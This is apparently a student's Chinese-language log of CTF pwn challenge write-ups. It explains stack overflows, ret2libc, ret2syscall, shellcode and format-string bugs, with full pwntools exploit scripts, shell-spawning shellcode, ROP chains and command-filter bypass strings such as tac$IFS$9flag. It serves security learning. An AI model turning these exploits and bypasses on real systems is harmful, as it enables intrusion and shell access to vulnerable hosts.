389 [SWPUCTF 2021 新生赛]nc签到
blacklist = ['cat','ls',' ','cd','echo','<','${IFS}']
while True:
command = input()
for i in blacklist:
if i in command:
exit(0)
过滤了'cat','ls',' ','cd','echo','<','${IFS}'
方法一 使用引号截断绕过+\$IFS\$9(空格)绕过
l‘s'
c'at'$IFS$9flag
方法二 转义符\+\$IFS\$9(空格)绕过
c\at$IFS$9flag
方法三 tac绕过
tac$IFS$9flag
方法四 获取root权限
bin/sh
bash
su
sh
$0
390 [SWPUCTF 2021 新生赛]gift_pwn
溢出原因:read
后门函数地址:0x4005B6
溢出数据长度:0x10+8
3875 [LitCTF 2023]只需要nc一下~
考点:环境变量
exp:echo $FLAG
2158 [NISACTF 2022]ReorPwn?
fun函数将输入的指令倒序,所以将cat flag倒序就可以
2928 [HNCTF 2022 Week1]easync
命令使用
2633 [SWPUCTF 2022 新生赛]Does your nc work?
命令使用
3487 [HGAME 2023 week1]test_nc
命令使用
2059 [NISACTF 2022]ezpie
PIE保护
每一次运行程序的时候 地址都会被随机 所以我们在ida当中没办法直接看到地址
nc连接得到main的真实地址(0x5663f770),可以通过ida中main和shell函数的偏移推断出shell的真实地址
2941 [HNCTF 2022 Week1]easyoverflow
栈地址结构如下:
+------------------+
| ... | <- 高地址
+------------------+
| Return Address | <- 返回地址 (main函数返回时跳转的地址)
+------------------+
| Saved Frame | <- 保存的基指针 (rbp的旧值)
| Pointer | (调用者的栈帧基指针)
+------------------+ <- rbp (当前栈帧基指针)
| |
| v4 | <- 44字节的缓冲区 (char v4[44];)
| (buffer) |
| |
+------------------+ <- rbp - 0x2C (v4的起始地址)
| v5 | <- 4字节的整型 (int v5;)
+------------------+ <- rbp - 0x4 (v5的起始地址)
| ... |
+------------------+ <- 栈底 (低地址)
方法一 栈溢出到system地址,通过地址直接执行
payload = b"a" * (0x30 + 0x8) + p64(0x401220)
方法二 直接通过覆盖原始v4的大小,通过溢出来修改v5的值
payload = b"a" * 44 + b"b"
889 [GFCTF 2021]where_is_shell
read存在栈溢出,利用system(\$0)获得shell权限,$0在机器码中为 \x24\x30
pop rdi ret的利用
ret 是一个汇编指令,用于函数的返回操作。当程序执行到 ret 指令时,它会从栈中弹出一个地址,并跳转到该地址处,继续执行代码。在函数调用过程中,当一个函数执行完毕时,它会通过 ret 指令返回到调用该函数的位置。这个返回地址通常是在函数调用时被压入栈中的。
“pop rdi ret” 是一种常见的ROP(Return Oriented Programming)gadget,用于构建ROP攻击时的payload。在x86_64架构中,这个gadget的作用是从栈中弹出一个数值,并将其赋值给rdi寄存器,然后进行返回。
在ROP攻击中,攻击者利用程序中存在的这种gadget,通过精心构造的数据将程序控制流引导到这个gadget,从而实现对程序行为的控制。通常情况下,攻击者会将需要的参数放置在栈上,然后利用ROP链将控制流引导到 “pop rdi ret” 这样的gadget,将参数加载到合适的寄存器中,然后再执行调用目标函数的ret指令。
总而言之,构造的payload就是首先需要覆盖返回地址,然后使用ret弹出一个地址,再使用pop rdi ret 把我们的shell的地址存进rdi寄存器里,最后再调用system函数,因为rdi里存着shell函数的地址所以调用了system函数就等于system($0),因为rdi是64位传参中最先传输的。
pop rdi ret和ret的地址可以通过ROPgadget查看
ROPgadget --binary 889 --only "pop|ret"
Gadgets information
============================================================
0x00000000004005dc : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005de : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005e0 : pop r14 ; pop r15 ; ret
0x00000000004005e2 : pop r15 ; ret
0x00000000004005db : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005df : pop rbp ; pop r14 ; pop r15 ; ret
0x00000000004004b8 : pop rbp ; ret
0x00000000004005e3 : pop rdi ; ret
0x00000000004005e1 : pop rsi ; pop r15 ; ret
0x00000000004005dd : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400416 : ret
可以找到pop rdi ret的地址为0x4005e3 ret地址为ret地址为0x400416
栈对齐
这里需要先加上ret_add,这一问题的根源在于栈对齐。
本质上,x86-64 ABI(应用程序二进制接口)保证了在调用指令上的 16-bits 对齐。libc 利用了这一点,并使用 SSE 数据传输指令来优化执行;特别是在 system
中会使用诸如 movaps
等指令。
这意味着如果栈不是 16-bits 对齐的(即 RSP
不是 16 的倍数),那么 ROP 链在执行 system
时会失败。
修复方法很简单,在你的 ROP 链中调用 system
之前,插入一个单独的 ret gadget:
2141 [NSSCTF 2022 Spring Recruit]R3m4ke?
get函数溢出,有后门函数
3734 [GDOUCTF 2023]EASY PWN
栈溢出变量覆盖
2002 [WUSTCTF 2020]getshell
read函数 栈溢出
2636 [SWPUCTF 2022 新生赛]有手就行的栈溢出
gets函数存在栈溢出
3773 [HDCTF 2023]pwnner
伪随机数+栈溢出
这道题的重点是如何找到伪随机数
from ctypes import*
libc = CDLL("libc.so.6")
libc.srand(0x39)
rand_number=libc.rand()
找到伪随机数后,存在后门函数,简单的ret2text
3876 [LitCTF 2023]口算题卡
编程题
2999 [HNCTF 2022 WEEK2]ez_backdoor
栈溢出+栈对齐
3176 [NUSTCTF 2022 新生赛]ezPwn
gets函数 栈溢出
注意应该使用main函数内system的地址
3339 [MoeCTF 2022]ret2text
read函数 栈溢出
3490 [HGAME 2023 week1]easy_overflow
输出重定向
题目中有close(1) 所以我们需要在getshell后重定向回来(0是标准输入,1是标准输出,2是标准错误)
exec 1>&0
4479 [FSCTF 2023]nc
命令绕过+重定向
题目中过滤了"cat"、“flag”、“sh"或者”$0"这些关键词
方法一 tac+*绕过+重定向
tac fla* >&0
*可以改变位置 重定向可以到2
方法二 tac+转义符绕过+重定向
tac f\lag >&2
转义符位置以及数量可以改变
2934 [HNCTF 2022 Week1]ret2shellcode
第一道ret2shellcode,先对一些基本概念进行了解
ret2shellcode——顾名思义,控制执行流到shellcode
在更简单的一类题目ret2text中,我们主要的尝试是修改某个返回地址修改,修改到程序固有的后门函数处,劫持程序控制流以期返回后门。然而,如果程序中并不存在这样的后门函数,那么很朴素的想法是,能不能自己写一段后门函数,然后劫持程序控制流返回执行这段恶意代码呢?
依此,主要的过程如下:
(1)构造shellcode通过溢出放到程序某片存储空间上——为了能够执行这段代码,所存储的区域需要有可执行的权限
(2)将返回地址劫持到构造的shellcode地址使得程序开始执行恶意代码
read函数 栈溢出 strcpy函数将s复制到buf buf存在在bss段
bss段
在采用段式内存管理的架构中(比如 intel 的 80x86 系统),bss 段(Block Started by Symbol segment)通常是指用来存放程序中未初始化的全局变量的一块内存区域,一般在初始化时 bss 段部分将会清零(bss 段属于静态内存分配,即程序一开始就将其清零了)。比如,在 C 语言程序编译完成之后,已初始化的全局变量保存在.data 段中,未初始化的全局变量保存在.bss 段中。
简单来说,定义没有赋初值的全局变量和静态变量 , 放在这个区域
mprotect()函数
NX enabled是不可执行保护
在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性。函数原型如下:
#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);
mprotect()函数把自start开始的、长度为len的内存区的保护属性修改为prot指定的值。
prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:
1)PROT_READ:表示内存段内的内容可写;
2)PROT_WRITE:表示内存段内的内容可读;
3)PROT_EXEC:表示内存段中的内容可执行;
4)PROT_NONE:表示内存段中的内容根本没法访问。
需要指出的是,指定的内存区间必须包含整个内存页(4K)。区间开始的地址start必须是一个内存页的起始地址,并且区间长度len必须是页大小的整数倍。
如果执行成功,则返回0;如果执行失败,则返回-1,并且设置errno变量,说明具体因为什么原因造成调用失败。错误的原因主要有以下几个:
1)EACCES
该内存不能设置为相应权限。这是可能发生的,比如,如果你 mmap(2) 映射一个文件为只读的,接着使用 mprotect() 标志为 PROT_WRITE。
2)EINVAL
start 不是一个有效的指针,指向的不是某个内存页的开头。
3)ENOMEM
内核内部的结构体无法分配。
4)ENOMEM
进程的地址空间在区间 [start, start+len] 范围内是无效,或者有一个或多个内存页没有映射。
如果调用进程内存访问行为侵犯了这些设置的保护属性,内核会为该进程产生 SIGSEGV (Segmentation fault,段错误)信号,并且终止该进程。
mprotect((void *)((unsigned __int64)&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 7);
也就是说,地址0xFFFFFFFFFFFFF000LL后0x1000uLL在经过这一句代码后,保护属性变成了可执行
第三个参数中的7表示二进制的111
读 写 执行 三个权限由三位二进制确定,第三个参数为二进制的十进制格式
GDB的基本用法
next/n 单步调试
next/n [num] 单步跳过num步
b main 在main函数处设置断点
vmmap 查看各段属性/rxw
run/r 运行程序
偏移量计算
===============pwndbg====================
cyclic 200
cyclic -l 异常地址
===============peda======================
pattern create 200
pattern offset 异常地址
=========================================
首先构建shellcode,这里我们直接手写(还可以使用asm(shellcraft.sh())),接下来计算偏移量,可以直接看s也可以使用gdb的插件,
from pwn import *
io= remote('node5.anna.nssctf.cn',23876)
# shellcode = asm(shellcraft.sh())
shell_code=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
buf_add=0x04040A0
payload=shell_code.ljust((0x100+0x08),b'a')+p64(buf_add)
io.sendline(payload)
io.interactive()
3659 [GDOUCTF 2023]Shellcode
name存在在bss段,mprotect函数执行后权限为rwxp,在此处写shellcode,查看buf偏移量为(0x0A+8),将name地址作为返回地址。注意第一个read有25bytes的字节限制。
from pwn import*
io=remote("node4.anna.nssctf.cn",28884)
shell_code=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05" #amd64
bss_add=0x6010A0
payload=b"a"*(0x0A+8)+p64(bss_add)
io.sendlineafter(b"Please.",shell_code)
io.sendlineafter(b"start!",payload)
io.interactive()
2930 [HNCTF 2022 Week1]ezr0p32
i386-32的框架。NX保护开启,没有改变权限函数。查看IDA发现两个read函数,第一个读到bss段,可以查看到system函数地址。
思路:先写入命令字符串到bss段,ret后传入system的地址,通过传入一个ret的地址跳到bss段执行命令
这里尝试了pop ebx ret 和pop ebp ret 和ret都能打通
2933 [HNCTF 2022 Week1]safe_shellcode
可见字符shellcode
amd64的框架,NX保护开启,有改变权限函数。主函数功能为检测传入的shellcode是否为可见字符
from pwn import*
io=remote("node5.anna.nssctf.cn",21816)
payload="Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"
io.send(payload)
io.interactive()
注意!!!这里需要用send,因为sendline会在发出后的末尾添加换行符,会被认作不可见字符。
2600 [HUBUCTF 2022 新生赛]singout
一道很平常的绕过题,学到了一些新的绕过方式
more绕过
more 命令类似 cat ,不过会以一页一页的形式显示
./绕过
./*.txt
变量绕过
a=g;tac$IFS$9fla$a.txt
nl绕过
nl可以将输出的文件内容自动的加上行号
tail绕过
tail 命令可用于查看文件的内容
tail ./*
tail$IFS$9./f*
469 [2021 鹤城杯]babyof
开始向ret2libc进发
ret2libc的目的是劫持binary执行system('/bin/sh')
。一般有一个溢出点,要进行两次劫持。
第一次劫持是为了泄露出某个函数地址,第二次劫持是为了控制binary返回到libc中执行system('/bin/sh')
。
第一次劫持需要构造两个条件:
- 控制binary,为第二次劫持布局。
- 寻找output函数和待泄露函数。
为了找到system的地址,我们需要知道一个公式:==函数的真正地址 = 基地址 + 偏移地址==
首先查看保护,发现保护都没有开。查看主函数,发现栈溢出在read部分
根据ret2libc模板写出exp
from pwn import *
from LibcSearcher import *
io = remote('node4.anna.nssctf.cn',28427)
elf = ELF('468')
# libc= ELF('libc-2.31.so')
ret_add = 0x0400506
pop_rdi = 0x0400743
main_add = 0x4006e2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
offset=0x50
payload = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter('', payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print("put_addr:",hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter('', payload)
io.interactive()
2003 [WUSTCTF 2020]getshell2
read函数存在溢出 system函数地址已知 查找sh位置(0x08048670)写出payload
payload=b"a"*(0x18+4)+p32(call_sys_add)+p32(sh_add)
也可以使用
payload=b"a"*(0x18+4)+p32(plt_sys_add)p32(0)+p32(sh_add)
但是本题限制了read的字节 所以采用第一种
tips: p32(system_plt) + p32(0) + p32(str_binsh) 可以替换成 p32(call_system) + p32(str_sh)
这是因为 call system 指令执行后会被当前 eip 寄存器的值压栈,所以在 p32(system_plt) + p32(0) + p32(str_binsh) 中我们用 p32(0) 作为 eip 寄存器的值进入栈中。那么我们使用 call system 指令的时候就不需要 p32(0) 作为 eip 寄存器的值进入栈中(call system 指令会自动实现将当前 eip 寄存器的值压栈),所以该指令后面直接跟参数
同样的,在 linux 中,/bin/sh 是二进制文件,而 sh 是环境变量,相当于执行 /bin/sh
可以使用 find / -name 文件名 来查找
4055 [CISCN 2023 初赛]烧烤摊儿
开始学习ret2sycall
首先打开加载很慢而且有很多函数,是静态连接,所以gadget会比较多,适合ret2syscall。
54位,其次没有明显的后门函数,也没有system()。因此ret2text走不通,只剩ret2syscall了,找syscall.
发现syscall的地址(0x402404)
64位传参的寄存器是rdi->rsi->rdx->rcx->r8->r9,即把需要的系统调用号给rax(64位),把rdx,rsi置零(因为是pop释放参数,所以与传参顺序相反)。
通过ROPgadget找到寄存器地址
ROPgadget --binary 4055 --only "pop|ret" | grep "rax"
0x00000000004a404a : pop rax ; pop rdx ; pop rbx ; ret
0x0000000000458827 : pop rax ; ret
0x000000000042a664 : pop rax ; ret 1
ROPgadget --binary 4055 --only "pop|ret" | grep "rdi"
0x00000000004050f4 : pop rdi ; pop rbp ; ret
0x000000000040264f : pop rdi ; ret
ROPgadget --binary 4055 --only "pop|ret" | grep "rsi"
0x00000000004050f2 : pop rsi ; pop r15 ; pop rbp ; ret
0x000000000040264d : pop rsi ; pop r15 ; ret
0x000000000040a67e : pop rsi ; ret
ROPgadget --binary 4055 --only "pop|ret" | grep "rdx"
0x00000000004a404a : pop rax ; pop rdx ; pop rbx ; ret
0x00000000004a404b : pop rdx ; pop rbx ; ret
syscall需要三个参数,第一个参数在rdi中存入/bin/sh的地址,第二个第三个参数在rsi和rdx中存入0。控制 rax=59, rdi=name_addr, rdi=0, rsi=0
,然后去执行syscall,即可执行到 execve('/bin/sh',0 ,0)
from pwn import*
io=remote("node4.anna.nssctf.cn",28652)
io.sendline(b"1")
io.sendline(b"1")
io.sendline(b"-99999")
io.sendline(b"4")
io.sendline(b"5")
pop_rax_add=0x458827
pop_rdi_add=0x40264f
pop_rsi_add=0x40a67e
pop_rdx_rbx_add=0x4a404b
syscall_add=0x402404
bin_sh_add=0x4e60f0
shellcode=b"/bin/sh\x00"
payload=shellcode.ljust((0x20+8),b"a")
payload+=p64(pop_rax_add)+p64(59)
payload+=p64(pop_rdi_add)+p64(bin_sh_add)
payload+=p64(pop_rsi_add)+p64(0)
payload+=p64(pop_rdx_rbx_add)+p64(0)+p64(0)
payload+=p64(syscall_add)
io.sendline(payload)
io.interactive()
注意这里的shellcode里需要用\x00截断
391 [SWPUCTF 2021 新生赛]whitegive_pwn
ret2libc
远程环境存在问题
未出
95 [CISCN 2019东北]PWN2
ret2libc
版本:libc6_2.27-0ubuntu2_amd64
468 [2021 鹤城杯]littleof
ret2libc 开启了canary
canary
v3 = __readfsqword(0x28u)
对于canary需要找到存在栈底随机的值
io.sendlineafter('Do you know how to do buffer overflow?\n', b'a'*(offset-8))
io.recvuntil('\x0a')
canary = u64(b'\00' + io.recv(7))
print(hex(canary))
泄露canary的ret2libc
from pwn import *
from LibcSearcher import *
io = remote('node4.anna.nssctf.cn',28288)
elf = ELF('./468')
ret_add = 0x040059e
pop_rdi = 0x0400863
main_add = 0x4006e2
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
offset=0x50
io.sendlineafter('Do you know how to do buffer overflow?\n', b'a'*(offset-8))
io.recvuntil('\x0a')
canary = u64(b'\00' + io.recv(7))
print(hex(canary))
payload1 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter('Try harder!',payload1)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')
payload2 = b'a'*(offset-8) + p64(canary) + b'a'*8 + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter('Do you know how to do buffer overflow?\n',payload2)
io.interactive()
3877 [LitCTF 2023]狠狠的溢出涅~
给了libc的ret2libc
首先用\x00截断strlen函数,相对应的填充的垃圾数据需要少一个
from pwn import *
from LibcSearcher import *
io = remote('node4.anna.nssctf.cn',28350)
elf = ELF('3877')
libc= ELF('libc-2.31.so')
ret_add = 0x0400556
pop_rdi = 0x04007d3
main_add = 0x4006b0
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
offset=0x60
payload = b'\x00'+ b'a' * (offset+8-1) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter('message:', payload)
puts_addr = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))
payload = b'\x00'+ b'a' * (offset+8-1) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter('message:', payload)
io.interactive()
707 [BJDCTF 2020]babyrop
ret2libc
libc6_2.23-0ubuntu11_amd64
2932 [HNCTF 2022 Week1]fmtstrre
开始格式化字符串的学习
C语言格式化字符串中常用的占位符
占位符 | 含义 |
---|---|
%d | 以十进制形式输出整数 |
%u | 以十进制形式输出无符号整数 |
%x | 以十六进制形式输出整数(小写字母) |
%X | 以十六进制形式输出整数(大写字母) |
%o | 以十进制形式输出整数 |
%f | 以浮点数形式输出实数 |
%e | 以指数形式输出实数 |
%g | 自动选择%f或者%e输出实数 |
%c | 输出单个字符 |
%s | 输出字符串 |
%p | 输出指针的地址 |
%n | 将已经输出的字符数写入参数 |
在格式化字符串漏洞利用中,常用%p来泄露地址,使用%n来实现向指定地址写入数据(4字节),我们还通常会使用%hn(2字节),%hhn(1字节),%lln(8字节)进行写入
格式化字符串
%[parameter] [flags] [field width] [precision] [length] type
parameter
parameter可以忽略,或者是n$,用于获取格式化字符出中的指定参数,例如:
int a=0x111, b=0x222, c=0x333
printf("%3$p",a,b,c);
//0x333
输出的解释如下:
%3\$p是一个格式化字符串,其中3标识使用的是传入的第三个参数,即c;而$是格式化修饰符,指示参数的索引;p指示以十六进制形式进行输出
flags
flags可以为0至多个,可以是:+,空格,-,#,0
field width
标识显示数值的最小宽度
precision
标识输出的最大长度
length
标识浮点数或整数参数的长度,可以是:hh:输出1byte h:输出2byte l:输出4byte ll:输出8byte。通常在漏洞利用时我们使用hh或h。
type
转换说明
d/i | 有符号整型 u:无符号整型 |
---|---|
x/X | 十六进制,x以小写字母输出,X以大写字母输出 |
s | 输出以null结尾的字符串直至精度规定的上限 |
c | 将int参数转换为unsigned char类型输出 |
p | void*型,输出对应的变量值 |
n | 不输出字符,但会将已经成功输出的字符数写入对应的整型指针参数所指的变量 |
%n的妙用
n参数的作用是:将已经成功输出的字符数写入对应的整型指针参数所指的变量,例如:
printf("%100c%n\n",a,&a);
printf("%d",a);
%100c就是输出至少100个字符,%n则指示将已经成功输出的字符个数100写入a中,而%n解n$,即以%Xc%Y$n这种形式的格式化字符串(X为要写入的字符数,Y是指定的参数),就可以将已输出的字符数往指定参数中写入,即达到了任意地址写数据的恶意目的。%n一次写入4字节,%hn一次性写入2字节,%hhn一次性写入1字节
关于语句”printf("%100c%n\n",a,&a);“,这里的变量a本来是空的(也可以指定一个值),所以就会输出100个空格,然后%n又会为变量a赋值100,所以最后打印a的值回显是100
%a的妙用
%a以double型的16进制格式输出栈中变量,当程序开启了FORTIFY机制后(gcc-D_FORTIFY_SOURCE=2 -O1),程序在编译时所有的printf函数都被printf chk函数替换了。
printf_chk和printf的区别有以下两点:
(1)不能使用%n\$p不连续地打印,比如要使用%3\$p,那么%1\$p和%2\$p需要同时使用
(2)在使用%n的时候会做一些检查。由于printf_chk无法单独使用%n$p来泄露地址,如果可输入的字符数量有限,要通过连续多个%p泄露地址就会很困难,这种情况下就可以使用%a了,%a会输出栈上方的的数据。
解题
可控部分位于第五个参数,考虑到为 64 位程序,当参数少于 7 个时, 参数从左到右放入寄存器: rdi, rsi, rdx, rcx, r8, r9。但超过 7 个时会从右向左以此压栈。
from pwn import*
io=process("2932")
gdb.attach(io,"b *0x4012CF")
pause()
#payload=b'DDDDDDDD'+b"%p.%p.%p.%p.%p.%p.%p.%p"
#payload=b'%38$s'
payload=b'%7$saaaa'+p64(0x4040C0)
io.sendlineafter(b"string.",payload)
io.interactive()
两种思路,第一种是找到printf输入值的偏移后存入name指针的地址。第二种思路是找到printf输入值偏移后计算出buf后v5的地址的偏移
o1 [CTBUCTF 2024]fmt0
谢哥找的一道之前校赛的一道题让我练练手
先计算输入的偏移
payload=b'DDDDDDDD'+b'.%08x'*8
DDDDDDDD.68873020.00000060.2bf7d7e2.00000018.2c0a4040.00000000.0001bf52.44444444 偏移8
可以发现我们输入的数据是从偏移为8的地方存储。buf在[rbp-210h]处的偏移是8,v3的地址是[rbp-0x10h],计算出v3的偏移为72(64位的程序是以8个字节为一个单位,32位的程序是4个字节一个单位)
(0x210-0x10)/8+8=72
这里犯了一个错,想着直接推v1的地址,忘记了栈地址有没有pie都是随机的。
在计算完偏移后开始计算改值。当v4==v1时会进入后门函数,这里查看v4和v1的值,内存中是以16进制存储的。
v1 : 114514 = 0x1BF52
v4 : 114515 = 0x1BF53
可以看到我们需要将v1的0x52字节改为0x53(83)。在printf中写需要用到%n,而对单字节我们选择%hhn进行操作。
%83c%72$hhn
或者用%n
%114515c%72$n
774 [深育杯 2021]find_flag
先查看保护,发现保护全开(汗流浃背了……)
未出
好难~先去看看其他的
2931 [HNCTF 2022 Week1]ezr0p64
ret2libc
接收输出的puts地址后进行常规ret2libc进行
from pwn import *
from LibcSearcher import *
io = remote('node5.anna.nssctf.cn',28823)
libc= ELF('libc.so.6')
ret_add = 0x40101a
pop_rdi = 0x4012a3
offset=0x100
io.recvuntil(b'Gift :0x')
puts_addr=int(io.recv(12),16)
print(hex(puts_addr))
# libc_base = puts_addr - libc.dump('puts')
# system_add = libc_base + libc.dump('system')
# bin_sh_add = libc_base + libc.dump('str_bin_sh')
libc_base = puts_addr - libc.symbols['puts']
system_add = libc_base + libc.symbols['system']
bin_sh_add = libc_base + next(libc.search(b'/bin/sh\x00'))
payload = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)
io.sendlineafter(b'Start your rop.', payload)
io.interactive()
注意在接收的时候不要把本身带有的0x接收进行转化
2599 [HUBUCTF 2022 新生赛]fmt
这里因为开了PIE所以断点设置应修改为 b *$rebase(0x9B1)
先算输入点的偏移
payload=b"DDDDDDDD"+b".%08x"*8
#DDDDDDDD.00000001.00000001.81f30aa0.00000000.00000000.00000001.4c5d82a0.44444444 #偏移8
format在[rbp-60h]处的偏移为8,flag存储在s中,推断s在[rbp-40h]处的偏移
(0x60-0x40)/8+8=12
flag读取在栈上,所以需要读取栈上字符,构造payload
%12$p%13$p%14$p%15$p%16$p%17$p
#0x657b46544353534e0x2d356666616136310x6139342d636633610x362d356162612d620x33633265323738620xa7d353036
这里需要注意的是只能用p不能用x,因为x输出为整数,只会输出低八位。将得到的数据在Cyberchef解码
NSSCTF{e16aaff5-a3fc-49ab-aba5-6b872e2c3605}
2635 [SWPUCTF 2022 新生赛]shellcode?
main函数内的代码较生疏,先对代码进行解读
int __cdecl main(int argc, const char **argv, const char **envp)
{
init();
mmap((void *)0x30303000, 0x1000uLL, 7, 50, -1, 0LL); //调用函数创建了一个新的可读可写可执行的内存段
read(0, (void *)0x30303000, 0x64uLL); //从键盘接收0x64个字节的内容存入地址内
MEMORY[0x30303000](); //将此内存段当成函数执行
return 0;
}
虽然程序本身开启代码不可执行保护,但是又创建了一个可读可写可执行的内存段,并将内容写进去,即最简单的shellcode
from pwn import *
p= remote('node5.anna.nssctf.cn',22038)
shell_code=b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"
payload=shell_code.ljust((0x60),b'a')
p.sendline(payload)
p.interactive()
2929 [HNCTF 2022 Week1]ezcmp
动调
未出
1871 [HGAME 2022 week1]test your gdb
动调
未出
3774 [HDCTF 2023]KEEP ON
只开了NX代码执行保护,分析代码
memset函数
void *memset(void *str, int c, size_t n)
解释:复制字符 c(一个无符号字符)到参数 str 所指向的字符串的前 n 个字符。
作用:是在一段内存块中填充某个给定的值,它是对较大的结构体或数组进行清零操作的一种最快方法
vuln函数中先对s进行了清零,
栈迁移
未出
3663 [GDOUCTF 2023]真男人下120层
例行检查,卡了canary和代码执行保护,查看主函数。
首先将time(0)生成的v3作为随机数种子,生成随机数v4,再次设置种子,但这个种子是已知的,所以后面面生成的随机数位为伪随机数。
伪随机数
from ctypes import *
libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
number = libc.rand()
根据生成的随机数做出选择
from pwn import*
from ctypes import *
io=remote("node4.anna.nssctf.cn",28514)
libc = CDLL("libc.so.6")
libc.srand(libc.time(0))
v4 = libc.rand()
libc.srand(v4 % 3 - 1522127470)
for i in range(120):
choice=(libc.rand() % 4 + 1)
io.sendlineafter("Floor ",str(choice))
io.interactive()
3342 [MoeCTF 2022]shell
nc连接
3091 [UUCTF 2022 新生赛]babystack
例行检查,64位,只开了NX代码执行保护,发现有后门函数,ret2text
3406 [MoeCTF 2021]ret2text_ez
例行检查,64位,只开了NX代码执行保护,发现有后门函数,ret2text
3039 [SWPUCTF 2022 新生赛]Darling
伪随机数
2381 [SDCTF 2022]Horoscope
fflush(stdout):清空输出缓冲区
fflush(stdio):清空输入缓冲区
发现后门函数,但是需要temp==1,在debug函数中发现赋值语句
fgets函数
从指定的流 stream 读取一行,并把它存储在 str 所指向的字符串内。当读取 (n-1) 个字符时,或者读取到换行符时,或者到达文件末尾时,它会停止,具体视情况而定。
char *fgets(char *str, int n, FILE *stream)
- str -- 这是指向一个字符数组的指针,该数组存储了要读取的字符串。
- n -- 这是要读取的最大字符数(包括最后的空字符)。通常是使用以 str 传递的数组长度。
- stream -- 这是指向 FILE 对象的指针,该 FILE 对象标识了要从中读取字符的流。
atoi()函数
把参数 str 所指向的字符串转换为一个整数(类型为 int 型)
int atoi(const char *str)
当atoi遇到非数字的字符时会被阻断
strtok()函数
分解字符串 str 为一组字符串,delim 为分隔符
char *strtok(char *str, const char *delim)
第一种思路直接调用后门函数,第二种思路先用debug赋值再调用test
114 [CISCN 2019华中]PWN1
首先是一个菜单函数,溢出点在encrypt函数中,先输入到1中。strlen( )用\x00截断后为正常的ret2libc
libc6_2.27-0ubuntu2_amd64
2350 [CISCN 2022 初赛]login_normal
例行检查,保护全开
首先研究第一个绕过需要的条件
!*a1 || *a1 != 10 && (*a1 != 13 || a1[1] != 10)
首先*a1为空
未出
708 [BJDCTF 2020]babyrop2
例行检查,开了Canary和代码执行保护。
这里先通过格式化字符串泄露canary
首先格式化字符串算出输出处的偏移为6,那么canary存储在偏移为7的地方
io.sendlineafter(b'help u!', b'%7$p')
io.recvuntil("0x")
canary = int(io.recv(16), 16)
剩下的是正常的ret2libc
libc6_2.23-0ubuntu10_amd64
fmtstr_payload 用于自动生成格式化字符串payload
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
offset
:控制的第一个格式化程序的偏移writes
:为字典,用于往addr中写入value,例如{addr: value, addr2: value2}numbwritten
:已经由printf
写入的字节数write_size
:必须是byte/short/int
其中之一,指定按什么数据宽度写(%hhn/%hn/%n
)